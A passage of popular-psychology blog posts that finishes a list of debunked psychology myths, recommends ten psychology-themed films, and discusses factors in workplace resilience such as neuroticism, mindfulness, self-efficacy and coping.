Another myth prevalent is that our handwriting tells us about our personality. There is actually a field devoted to this called Graphology. Researchers, however, have argued that its mere pseudoscience and does not hold any ground. The scientific tests have revealed that graphologists fall under the trap of the P.T. Barnum effect, as mentioned earlier in another article.

## Myth no. 9: Psychiatric and Criminal Activities Increase During Full Moons

The fixation with full moons has been a thing with various authors of literature. The various supernatural phenomenon in fiction is linked with full moons like from the werewolf lore. But the obsession with full moons is not restricted to fantasy as various authors have linked with real-life events. Some have linked the full moon with rising in criminal activities, drinking, and lewd behavior, even increase in dog bites!

These authors call it the Lunar Effect or the ‘Transylvania Effect’, and it is deeply embedded in popular culture. Proponents of the Lunar effect argue since full moon leads to rise in tides. And since humans are made up of four-fifths of water, then it is plausible that it has an effect on us too.

But researchers argue that this does not hold any water (pun very much intended!). Researchers did a thorough meta-analytic study to see if there’s a link and found no evidence of the lunar effect being a reality. They call this association illusory correlation, which is the false perception of an association between events where no such association exists. Its what they call a statistical mirage.

## Myth no. 10: Most Mentally Ill People Are Violent

This myth’s origin lies in popular culture as various films portray people with mental illness being violent. Movies and shows portray them as ‘psychopathic killers’ having ‘homicidal tendencies.

But actual research suggests that around 90% of people with serious mental illness, including schizophrenia, don’t commit violent acts. Moreover, severe mental illness accounts for around 3-5% of all violent crimes.

So, there you have it. Ten psychomyths busted for you. So the next time someone says that the opposites attract or there’s safety in numbers, you tell them actually it does not! We’ll find more psychomyths to bust in another article. Till then, cheers and keep exploring yourself with Brainpundits.

## Top 10 Movies Related to Psychology

We all love to watch movies in our leisure time. In this article, we are giving you 10 films to make your curious about the psychological state of the human mind. These are handpicked for your viewing pleasure.

## Top 10 Movies Related to Psychology

SYBIL

Sybil (1976) is one of the finest films when it comes to portraying multiple-personality disorder in the real world. In this movie, the protagonist suffered from a multi-personality disorder and developed 16 kinds of different personalities in herself. Sally Field, Joanne Woodward, and Brad Davis movie perfectly castes the scenarios, situations and how to behave with the person suffering from the multi-personality disorder. To see this purely psychological driven move you have to glue yourself with a chair to 3 hours and 18 minutes as its very long.

GOOD WILL HUNTING

Released in 1997, Robin Williams, Matt Damon, Ben Affleck starrer film directed by Gus Van Sant is an epic masterpiece that shows how psychology can manifest and help you. In this move Will Hunting, played by Matt Damon, a janitor at M.I.T has a great gift of mathematics. The films tell the story of an MIT mathematical prodigy who is able to solve any problem but is struggling to find his own identity. But one day he meets a girl who opens both his mind and heart. When he faces an emotional crisis, he takes help from psychiatrist Dr. Sean Maguireto, played by Robin Williams, who helps him recover. This film is a must watch for its heart moving moments.

THE SILENCE OF THE LAMBS

If you want to dive deep into the mind of a psychopath then you cannot Dr. Hannibal Lecter, played by Anthony Hopkins. The silence of the Lambs (1991) is one of the famous films revolving around the psychology of the serial killer. It also stars Jodie Foster in a role the defined her career. The film is one of the benchmarks for a psycho-thriller. The film has other parts like Red Dragon (2002) but it’s the original that is the one that all recommend.

RAIN MAN

Rain main is a fascinating film about two brothers. The film stars Dustin Hoffman and Tom Cruise as two brothers. The movie blows everyone’s mind by showing extreme memory capabilities of Raymond. He is an astonishing character who is kidnapped by his own brother for ransom. The psychological aspect lies here is in the character of Raymond an Autistic and is a Savant, for his ability to memorize and recall all info he has read or heard before and he can count and do math at astonishing rates.

MATCHSTICK MEN

Matchstick Men (2003), directed by Ridley Scott, is a film about confidence tricksters. It is based on the book by Eric Garcia called Matchstick Men: A novel about Grifters with Issues. The main protagonist, a con artist called Roy, is flawlessly played by Nicolas Cage. In the film, he’s suffering from Tourette’s syndrome and obsessive-compulsive disorder (OCD). It consists of two themes that are running parallel to each other. One one hand we see a clever story of conmen, filled with the expected twists and an impressive final ‘sting’. On the other hand, we see a deeply personal story of a man struggling to cope with serious mental illness. It is highly recommended to anyone interested in working in Adult Mental Health, whether in psychiatry, psychiatric nursing, psychology or in any of the branches of psychotherapy.

SPLIT

It’s another masterpiece from the Director M. Night Shyamalan and flawlessly played by James McAvoy, Anya Taylor-Joy, Haley Lu Richardson. Released in 2016, this movie will not let you up from the cushioned sofas and glue you to the screens. Another multi-personality disorder movie will stun you from its suspense and thrills.

Kevin, having multiple-personality disorder carjacks and kidnaps three girls from a supermarket parking lot. He locks up the girls in a room and chillingly reveals at different times, a few of his 23 distinct personalities. It’s a thrill ride that you can’t afford to miss.

MEMENTO

Memento, directed by Christopher Nolan, is based on a short story by his brother, Jonathan Nolan, called “Memento Mori”. The movie stars Guy Pearce, Carrie-Anne Moss, Joe Pantoliano. The film, released in 2000, is described by Nolan as “a psychological thriller about a guy who can’t make new memories and who is looking for revenge”. Memento specifically explores the condition of anterograde amnesia and reflects the difficulty that sufferers have in appreciating the passage of time as they struggle to exist with very limited recent memory. This movie inspired the film Ghajini by A.R. Murugadoss, who made this film both in Hindi and Tamil.

A BEAUTIFUL MIND

A Beautiful Mind is a wonderful psychological drama in which Dr. John Nash who is a mathematical genius and a natural code breaker, at least in his own mind. He suffers from clinical schizophrenia and depression. Russel Crowe plays John Nash in this film to absolute perfection. The portrayal of a person suffering from Schizophrenia is one of the most accurate depictions. According to the DMV-IV (a criterion scale assessing psychological disorders), John Nash was diagnosed with paranoid schizophrenia because of certain criteria he showed, hallucinations and delusions which lies under this disorder. This film is highly recommended.

THE STANFORD PRISON EXPERIMENT

In 1971, researchers at Stanford University wanted to study prisons and prisoner behavior. So they undertook an experiment. But it went unexpectedly wrong. The program also managed to bring infamy and change the lives of those who participated forever. Experimenting with a prison first requires a prison. The researchers were able to turn the basement of Stanford’s psychology building into a functional prison. Classrooms and offices became prison cells with hard beds. Directed by Kyle Patrick Alvarez based on the book The Lucifer effect this movie was an epitome of experimental psychology.

THE MACHINIST

This psychological thriller is one of the most thrilling movies of all time, Trevor Reznik, the protagonist played spectacularly and flawlessly by Christian Bale, is an industrial worker. He’s also on the edge of a breakdown. Trevor Reznik the protagonist who have not slept in a year and his weight plummeting as fast as his paranoia skyrockets, the film documents his increasingly tenuous grasp on reality. The movie also gives an insight to the extent an actor can go while being in character. Christian Bale is famous for this role for risking his life as he lost a lot of weight for this film.

So, here you go 10 handpicked films for you to enjoy. If you have suggestions of your own then let us know in the comment. Till then cheers and be awesome!

## Resilience in the workplace

When people do not manage effectively, it leads to high levels of workplace stress. That stress can lead to several negative personal and performance outcomes. Some professional teams work in highly stressful settings and are at risk of conditions such as burnout, depression, and anxiety.

Some individuals are not very much affected by workplace stress and the related negative consequences. Such people are known as resilient. Studies have found relationships between levels of individual resilience and specific negative consequences such as burnout, fatigue, and compassion. A study shows that occupational stress is a worldwide  observable aspect that is related with several inimical consequences such as negative physical and mental health outcomes, and another study shows that high levels of workplace stress can cause the number of negative organizational outcomes such as impaired work performance and high turnover

## WHAT IS PSYCHOLOGICAL RESILIENCE?

Psychological resilience means the potential of a person to rebound, to recover, bounce-back, and adjust or even thrive after a misfortune. It is the caliber of a person to come out or bounce back from a difficult or thriving situation

It is a measure of multi-level perspective and not dependent on a single construct. These components include optimism, self-esteem, personal competence, social competence, problem-solving skills, self-efficacy, social resources, insight, independence, creativity, humor, control, hardiness, family cohesion, spiritual influences, and initiative.

## Factors affecting resilience

1. Neuroticism
2. Mindfulness
3. Self-efficacy
4. Coping

## NEUROTICISM

Neuroticism is one of the major personality traits out of five traits in the study of psychology. Basically, it is the extent to which a person experiences this world as unsafe, threatening and distressing. Any individual who scores high on neuroticism is more likely to be moody and to experience such feelings as anxiety, worry, fear, anger, and loneliness.

Many studies have established a strong relationship with psychological resilience. Apparently,  higher levels of neuroticism signify low levels of psychological resilience.

## MINDFULNESS

We spend our days by not paying a lot of attention to things. It can be easy to rush through life without stopping to notice much. By living in the present and putting more attention to the present moment – to your own thoughts and feelings, and to the world around you – can improve your mental wellbeing. Some people call this type of awareness “mindfulness”.

A recent study investigated the relationship between the level of mindfulness, workplace variables (workload, co-worker support) and burnout. They found that a low level of mindfulness was the most prominent predictor of burnout, over and above the variance explained by workplace factors. Even studies are proposing that mindfulness is an important characteristic of people who score high on resilience.

## SELF-EFFICACY

Source – educationcloset.com

Self-efficacy is an individual’s belief that he or she can perform a selected task.

Employees with higher levels of self-efficacy tend to have lower levels of anxiety, better coping skills and lower intentions of leaving their workplace. So if a person scores low on anxiety and posses better-coping skills then these set of people will show higher output to the given task. So, Self-efficacy is a sign of psychological resilience.

## COPING

Source – whatsyourgrief.com

It is a process of adjustment following an adverse event. Coping strategies help in solving two types of issues. One is problem-focused, which addresses the practicalities of a situation. Second is emotion-focused, which reduces the psychological and emotional impact of a stress.

Positive reframing and support seeking coping mechanism lead to greater job satisfaction.

The use of active coping is positively associated with psychological resilience and a mediator of the relationship between self-efficacy and individual resilience in the workplace.

## Conclusion

Workplace stress has serious implications for the quality of an employee’s work and their general psychological functioning.

Psychological resilience is an important tool for individuals as it helps promote healthy psychological adjustment for employees in high-stress work settings.

So, professionals rich in psychological resilience can work and function in a better way and can fetch better results for any organization.